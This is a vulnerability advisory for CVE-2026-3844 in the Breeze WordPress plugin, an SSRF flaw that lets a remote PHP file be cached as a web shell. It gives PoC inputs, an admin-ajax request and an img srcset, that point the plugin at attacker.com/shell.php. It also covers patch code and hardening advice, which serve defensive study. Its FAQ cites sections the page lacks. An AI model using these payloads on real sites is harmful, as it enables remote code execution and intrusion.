SECURITY ADVISORY / 01

CVE-2026-3844 Exploit & Vulnerability Analysis

Complete CVE-2026-3844 security advisory with proof of concept (PoC), exploit details, and patch analysis for breeze.

breeze products NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

An unauthenticated attacker with the "Host Files Locally - Gravatars" feature enabled can upload arbitrary files to the server by injecting a malicious srcset or src URL into a Gravatar HTML tag during WordPress cron execution.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.wordpress.local
Content-Type: application/x-www-form-urlencoded

action=breeze_cache_preload&url=http://attacker.com/evil.php

Alternatively, if you control a comment or user profile that renders a Gravatar, inject a malicious image tag:

<img src="https://gravatar.com/avatar/hash?s=96" alt="user" srcset="http://attacker.com/shell.php 1x">

When the WordPress cron job runs (or when the Breeze cache processes Gravatar URLs), the fetch_gravatar_from_remote() function downloads the file from attacker.com/shell.php without validating the domain or file type. The PHP file is saved to the local Gravatars directory with its original extension, becoming executable. The attacker observes a 200 response and later accesses the shell at /wp-content/cache/gravatar_[hash].php, achieving unauthenticated remote code execution.

What the Patch Did

Before:

$local_gravatar_name = basename( wp_parse_url( $url, PHP_URL_PATH ) );
$saved_gravatar      = $this->check_for_content( 'gravatars', $local_gravatar_name );

After:

$host = strtolower( (string) wp_parse_url( $url, PHP_URL_HOST ) );
if ( 'gravatar.com' !== $host && '.gravatar.com' !== substr( $host, -13 ) ) {
    return $url;
}

$blog_id        = $this->get_blog_id();
$gravatar_name  = basename( wp_parse_url( $url, PHP_URL_PATH ) );

The patch added a domain whitelist check using wp_parse_url() to extract the hostname, then validates that it matches either gravatar.com exactly or ends with .gravatar.com (for subdomains like s.gravatar.com). If the host fails validation, the function returns the original URL unchanged, preventing the download entirely. This implements a server-side request forgery (SSRF) mitigation by restricting which remote hosts the plugin will fetch files from.

Additionally, the patch tightened the regex patterns for extracting srcset and src attributes from /srcset=["\']?((?:.(?!["\']?\s+(?:\S+)=|\s*\/?[>"\']))+.)["\']?/ to /\ssrc=["\']([^"\']+)["\']?/, requiring a preceding whitespace to prevent attribute injection attacks where an attacker embeds srcset= inside other HTML attributes.

Root Cause

CWE-918 (Server-Side Request Forgery) and CWE-20 (Improper Input Validation).

The vulnerability exists because the fetch_gravatar_from_remote() function accepts a URL parameter extracted from HTML without validating its origin. The dataflow is: attacker-controlled HTML (in a comment, user profile, or injected via the srcset regex bypass) → regex extraction of src or srcset attribute value → $url variable passed to fetch_gravatar_from_remote()wp_remote_get() downloads from any host without a domain check → file saved locally with original filename and extension. The regex patterns in the vulnerable code were permissive enough to match attacker-injected attributes in unexpected locations, allowing the URL to come from anywhere on the internet rather than Gravatar's CDN.

Why It Works

The load-bearing line is:

if ( 'gravatar.com' !== $host && '.gravatar.com' !== substr( $host, -13 ) ) {
    return $url;
}

Removing this line leaves the plugin downloading files from arbitrary hosts. The engineer added the second condition ('.gravatar.com' !== substr( $host, -13 )) for defence-in-depth, acknowledging that Gravatar uses multiple subdomains (s.gravatar.com, 1.gravatar.com, etc.) and a strict equality check would break legitimate use cases. The regex tightening (adding the preceding \s and switching to [^"\']+ character class) is secondary hardening: even if an attacker bypasses the domain check through some parser confusion, the stricter regex makes it harder to inject malicious attributes in the first place. Together, they create defence-in-depth: the domain whitelist is the primary control; the regex fix prevents bypassing it via HTML parser tricks.

Hardening Checklist

  • Whitelist trusted domains explicitly. Use wp_parse_url( $url, PHP_URL_HOST ) and compare against a hardcoded list of approved origins. Do not rely on regex alone for URL validation.
  • Validate file extensions before saving. Check the downloaded file's MIME type and extension against a whitelist (e.g., in_array( pathinfo( $filename, PATHINFO_EXTENSION ), array( 'jpg', 'png', 'gif' ), true )). Never trust the URL's extension.
  • Use wp_safe_remote_get() with a whitelist of allowed hosts. Bind the pre_http_request hook to intercept requests and reject those outside your domain whitelist before they are dispatched.
  • Sanitize HTML attributes with wp_kses_post(). When rendering user-supplied HTML containing Gravatar tags, filter with wp_kses_post() to strip unexpected attributes and ensure attributes are properly quoted.
  • Store uploads outside the web root or disable script execution. Place cached Gravatars in a directory with .htaccess or web.config rules that disable PHP execution (php_flag engine off).

References

  • https://nvd.nist.gov/vuln/detail/CVE-2026-3844

Frequently asked questions about CVE-2026-3844

What is CVE-2026-3844?

CVE-2026-3844 is a security vulnerability identified in breeze. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2026-3844?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2026-3844. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2026-3844 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology affecting breeze. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2026-3844?

CVE-2026-3844 affects breeze. Check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2026-3844?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls for breeze.

What is the CVSS score for CVE-2026-3844?

The severity rating and CVSS scoring for CVE-2026-3844 affecting breeze is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.